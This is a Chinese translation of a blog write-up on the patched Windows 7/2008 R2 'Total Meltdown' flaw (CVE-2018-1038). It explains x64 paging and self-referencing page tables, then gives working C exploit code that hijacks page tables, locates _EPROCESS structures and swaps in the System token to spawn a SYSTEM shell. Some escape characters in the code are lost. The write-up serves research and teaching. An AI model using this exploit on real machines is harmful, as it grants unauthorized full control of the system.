针对微软安全补丁漏洞(CVE-2018-1038)的分析与利用

概述

早在今年3月份,Ulf Frisk在Windows 7和Windows Server 2008 R2中发现了一个漏洞。微软此前为缓解Meltdown漏洞而发布过一个补丁,然而该修补又无意中造成特定版本的Windows中出现一个新的漏洞,该漏洞允许任意进程访问和修改页表项(Page Table Entries)。
有关该漏洞的Write-Up请参见Ulf的博客:http://blog.frizk.net/2018/03/total-meltdown.html ,这篇内容非常值得一读。

在本周,我有一些空闲的时间,因此我决定要深入研究一下这个漏洞,看看该漏洞能如何利用。最终的目的是为了发现一种该漏洞的快速利用方式,能够迅速提升特权。在此过程中,我深入研究了Windows内存管理相关的内容,并在本文中详述了如何针对此类漏洞进行漏洞利用。
像往常一样,本文主要面向于希望了解漏洞利用探索过程的人,而并不是简单地提供一个EXP。首先,我们从一些关于分页的基础知识开始。

分页的基本原理

为了能理解这个漏洞的工作原理,我们首先需要讲解一些关于分页的基本原理,即如何在x86或x64架构上进行分页。

众所周知,x64操作系统上的虚拟地址通常如下所示:

0x7fffffd6001

然而,可能有人并不清楚,虚拟地址不仅仅是指向RAM中任意位置的指针,它实际上由多个字段组成,这些字段在将虚拟地址转换为物理地址时具有特定的用途。
我们先将上面的示例虚拟地址转换成二进制:

0000000000000000 000001111 111111111 111111111 111010110 000000000001

从左到右,我们首先忽略了前16位,因为这些位对我们来说没有实际意义,它们只是对虚拟地址中第48位的镜像。
从偏移量第48位开始:
最开始的9位000001111(十进制15)是到PML4表的偏移量;
接下来的9位111111111(十进制511)是PDPT表的偏移量;
接下来的9位111111111(十进制511)是PD表的偏移量;
接下来的9位111010110(十进制数470)是PT表的偏移量;
最后的12位000000000001(十进制1)是内存页的偏移量。
当然,接下来的一个问题是,什么是PML4、PDPT、PD和PT?

PML4、PDPT、PD和PT

在x64体系结构中,将虚拟地址转换为物理地址的这一过程,是通过CR3寄存器指向的一组分页表实现的:
PML4 – Page Map Level 4
PDPT – Page Directory Pointer Table
PD – Page Directory
PT – Page Table

其中,每个表负责提供数据存储位置的物理地址,以及与该内存位置相关的标志。

例如,页表中的条目可以负责提供查找链(Lookup Chain)中指向下一个表的指针,以用于在内存页上设置NX位,或者是确保内核内存不能被操作系统上运行的应用访问。

为了做到简化,上面的虚拟地址查找过程如下所示:

在这里,我们看到遍历这些表的过程是由各个条目完成的,这些条目负责提供指向下一个表的指针,最后的条目指向了内存中所存储数据的物理地址。

大家可以想到,要为操作系统上的每个进程存储并管理页表需要付出大量的努力。面对这一问题,操作系统的开发人员采用了“自引用页表”(Self-Referencing Page Tables)的技术来缓解这一复杂的过程。

自引用页表

简而言之,自参照页表通过引用自身PML4表中的字段来工作。举例来说,如果我们在PML4表中创建索引为0x100的新条目,并且该条目指向PML4表的物理地址,那我们就有了所谓的“自引用条目”。

那么,为什么有人会这样做呢?实际上,这样一来我们就得到了一组虚拟地址,我们可以在虚拟地址空间中对任何页表进行引用和修改。

例如,如果我们想要修改某个进程的PML4表,那么可以简单地引用虚拟地址0x804020100000,其具体为:
PML4索引0x100 – PML4的物理地址;
PDPT索引0x100 – 同样是PML4的物理地址;
PD索引0x100 – 依然是PML4的物理地址;
PT索引0x100 – 还是PML4的物理地址。
最终会返回PML4内存中的内容。

希望上述的例子,能让大家理解自引用页表的递归特性的威力。我用了几晚的时间盯着屏幕,才得以弄明白这一点。

为了进一步展示,我们编写了下面的代码作为例子,可以看到ffff804020100000的虚拟地址允许我们检索PML4表进行编辑,其中PML4的索引0x100是自引用的。

package main

import (
    "fmt" 
)

func VAtoOffsets(va uint64) {
    phy_offset := va & 0xFFF
    pt_index := (va >> 12) & 0x1FF
    pde_index := (va >> (12 + 9)) & 0x1FF
    pdpt_index := (va >> (12 + 9 + 9)) & 0x1FF
    pml4_index := (va >> (12 + 9 + 9 + 9)) & 0x1FF

    fmt.Printf("PML4 Index: %03xn", pml4_index)
    fmt.Printf("PDPT Index: %03xn", pdpt_index)
    fmt.Printf("PDE Index: %03xn", pde_index)
    fmt.Printf("PT Index: %03xn", pt_index)
    fmt.Printf("Page offset: %03xn", phy_offset)
}

func OffsetsToVA(phy_offset, pt_index, pde_index, pdpt_index, pml4_index uint64) {
    var va uint64

    va = pml4_index << (12 + 9 + 9 + 9)
    va = va | pdpt_index << (12 + 9 + 9)
    va = va | pde_index << (12 + 9)
    va = va | pt_index << 12
    va = va | phy_offset

    if ((va & 0x800000000000) == 0x800000000000) {
        va |= 0xFFFF000000000000
    }

    fmt.Printf("Virtual Address: %xn", va)
}

func main() {
    VAtoOffsets(0xffff804020100000)
    OffsetsToVA(0, 0x100, 0x100, 0x100, 0x100)
}

大家可以在浏览器中运行此代码并查看结果,链接为:https://play.golang.org/p/tyQUoox47ri

现在,假设我们要修改虚拟地址的PDPT条目。借助自引用技术,减少通过自引用条目递归的次数,这样一来这个过程就变得非常简单。

例如,给定一个PML4索引0x150,以及在0x100中的自引用条目,我们可以返回地址为0xffff804020150000的相应PDPT表。在这里,golang应用程序可以再次发挥作用,展示这一过程:https://play.golang.org/p/f02hYYFgmWo

漏洞分析

当我们对基础知识有足够了解之后,就可以转向漏洞。

如果我们将2018年2月的微软安全更新补丁打在Windows 7 x64或Windows Server 2008 R2 x64系统上,我们会发现PML4的条目0x1e8已经更新。

我在实验室中搭建了一个受漏洞影响的操作系统环境,发现PML4的条目0x1e8与此类似:

007000002d282867

在这里,存在一些标志。我们需要注意这个页表项的第三位。如果设置了第三位,那么就将1允许从用户模式访问内存页,而不再将访问限制在内核。

更糟糕的是,PM4条目0x1e8被用作Windows 7和Windows Server 2008 R2 x64中的自引用条目,这就意味着任何用户模式的进程都被授权查看和修改PML4页表。

正如我们所了解的那样,通过修改这个顶级的页表,我们就能够查看并修改整个系统中的所有物理内存。

漏洞利用

那么,如何利用这个漏洞呢?要利用这一漏洞并成功实现特权升级,我们可以采用如下步骤来实现:

1、创建一组新的页表,这将导致允许访问任何物理内存地址;

2、创建一组可在内核内存中搜索_EPROCESS结构的签名;

3、为我们执行的进程和System进程,找到_EPROCESS内存地址;

4、将我们正在执行进程的token替换成System的token,从而将正在执行的进程升级到NT AUTHORITYSystem。

在这里必须要提到,我们本次研究参考了PCILeech的代码( https://github.com/ufrisk/pcileech/blob/master/pcileech/devicetmd.c )。这是我第一次在这个级别研究操作系统的分页,正是devicetmd.c所使用的漏洞代码解决了我的一个难题,为此我必须对Ulf Frisk表示感谢。

我们将使用PCILeech的代码来设置页表,而不是简单地重新实现Ulf的分页技术。为了能更清楚明白地解释这一过程,我更新了一些神奇的数字并添加了解释,以帮助大家清楚到底发生了什么:

unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
DWORD done;

// setup: PDPT @ fixed hi-jacked physical address: 0x10000
// This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
// we can hijack.
for (iPML4 = 256; iPML4 < 512; iPML4++) {
    vaPML4e = PML4_BASE + (iPML4 << 3);
    if (*(unsigned long long *)vaPML4e) { continue; }

    // When we find an entry, we add a pointer to the next table (PDPT), which will be
    // stored at the physical address 0x10000
    // The flags "067" allow user-mode access to the page.
    *(unsigned long long *)vaPML4e = 0x10067;
    break;
}
printf("[*] PML4 Entry Added At Index: %dn", iPML4);

// Here, the PDPT table is references via a virtual address.
// For example, if we added our hijacked PML4 entry at index 256, this virtual address
// would be 0xFFFFF6FB7DA00000 + 0x100000
// This allows us to reference the physical address 0x10000 as:
// PML4 Index: 1ed | PDPT Index : 1ed |    PDE Index : 1ed | PT Index : 100
vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
printf("[*] PDPT Virtual Address: %p", vaPDPT);

// 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
// Below is responsible for adding 31 entries to the PDPT
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
    *(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
}

// For each of the PDs, a further 512 PT's are created. This gives access to
// 512 * 32 * 2mb = 33gb physical memory space
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
    if ((iPDPT % 3) == 0)
        printf("n[*] PD Virtual Addresses: ");

    vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
    printf("%p ", vaPD);

    for (iPD = 0; iPD < 512; iPD++) {
        // Below, notice the 0xe7 flags added to each entry.
        // This is used to create a 2mb page rather than the standard 4096 byte page.
        *(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
    }
}

printf("n[*] Page tables created, we now have access to ~33gb of physical memoryn");

现在,我们建立了页表,接下来就需要在物理内存中寻找_EPROCESS结构。接下来,我们一同来研究如何在内核内存中查找_EPROCESS对象:

为了创建一个简单的签名,我们可以使用ImageFileName和PriorityClass字段,扫描内存中是否出现了这两个字段,直到得到命中结果。在我的尝试中,这种方法比较有效,但如果大家发现存在误报的情况,可以再做进一步优化:

#define EPROCESS_IMAGENAME_OFFSET 0x2e0
#define EPROCESS_TOKEN_OFFSET 0x208
#define EPROCESS_PRIORITY_OFFSET 0xF  // This is the offset from IMAGENAME, not from base

unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
STARTUPINFOA si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

printf("[*] Hunting for _EPROCESS structures in memoryn");
for (int i = 0x100000; i < 31 * 512 * 2097152; i++) {
    __try {
        // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
        if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
            if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
                ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
                printf("[*] Found our _EPROCESS at %pn", ourEPROCESS);
            }
        }
        // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
        else if (systemEPROCESS == 0 && memcmp("System", (unsigned char *)(exploitVM + i), 14) == 0) {
            if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
                systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
                printf("[*] Found System _EPROCESS at %pn", systemEPROCESS);
            }
        }

        if (systemEPROCESS != 0 && ourEPROCESS != 0) {
            ...
            break;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        printf("[X] Exception occured, stopping to avoid BSODn");
    }
}

我们此前讲解过一些内核特权升级利用的方法,请参见:

https://blog.xpnsec.com/hevd-null-pointer/

https://blog.xpnsec.com/hevd-stack-overflow/

https://blog.xpnsec.com/windows-warbird-privesc/

最终,与大多数内核特权升级利用一样,我们需要将我们的_EPROCESS.Token字段替换为System进程token的字段:

if (systemEPROCESS != 0 && ourEPROCESS != 0) {
    // Swap the tokens by copying the pointer to System Token field over our process token
    printf("[*] Copying access token from %p to %pn", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
    *(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
    printf("[*] Done, spawning SYSTEM shell...nn");

    CreateProcessA(0,
                   "cmd.exe",
                   NULL,
                   NULL,
                   TRUE,
                   0,
                   NULL,
                   NULL,
                   &si,
                   &pi);

    break;
}

我是在Windows 7 x64的实验环境对上述漏洞利用过程进行了尝试,演示视频请参见:https://youtu.be/5fl5jFy4XMg

最终代码可以在GitHub上找到:https://gist.github.com/xpn/bdb99cee8895bab4b1a0671696570d94

**更新:我对该代码进行了更新,更新后的版本增加了一些内存检查,同样上传到了GitHub上面:https://gist.github.com/xpn/3792ec34d712425a5c47caf5677de5fe

修复与改进

为确保我们的系统免受该漏洞攻击,微软已经发布了针对CVE-2018-1038的修复程序,该修复程序可用于修复此问题。

对于此前曾经做过低级别开发的人员,大家可能已经注意到,在查找_EPROCESS对象的过程中,上述利用代码并没有对设备映射内存进行任何进一步的检查。在我的实验环境中,并没有产生任何问题,但考虑到不同的硬件和环境,还是应该增加额外的检查来降低BSOD的风险。为了解决这一问题,我已经在新版本的PoC中实现了额外的内存检查,详情请见GitHub上的代码:https://gist.github.com/xpn/3792ec34d712425a5c47caf5677de5fe

参考文献和扩展阅读

[1] Total Meltdown漏洞:http://blog.frizk.net/2018/03/total-meltdown.html

[2] 在RUST中编写一个操作系统 – 页表:https://os.phil-opp.com/page-tables/#recursive-mapping

[3] GO语言中的页表计算:https://play.golang.org/p/tyQUoox47ri

原文链接:https://blog.xpnsec.com/total-meltdown-cve-2018-1038/

上一篇:微软、亚马逊、谷歌正严重威胁传统安全厂商

下一篇:一个Linux平台的“门罗币”挖矿木马的查杀与分析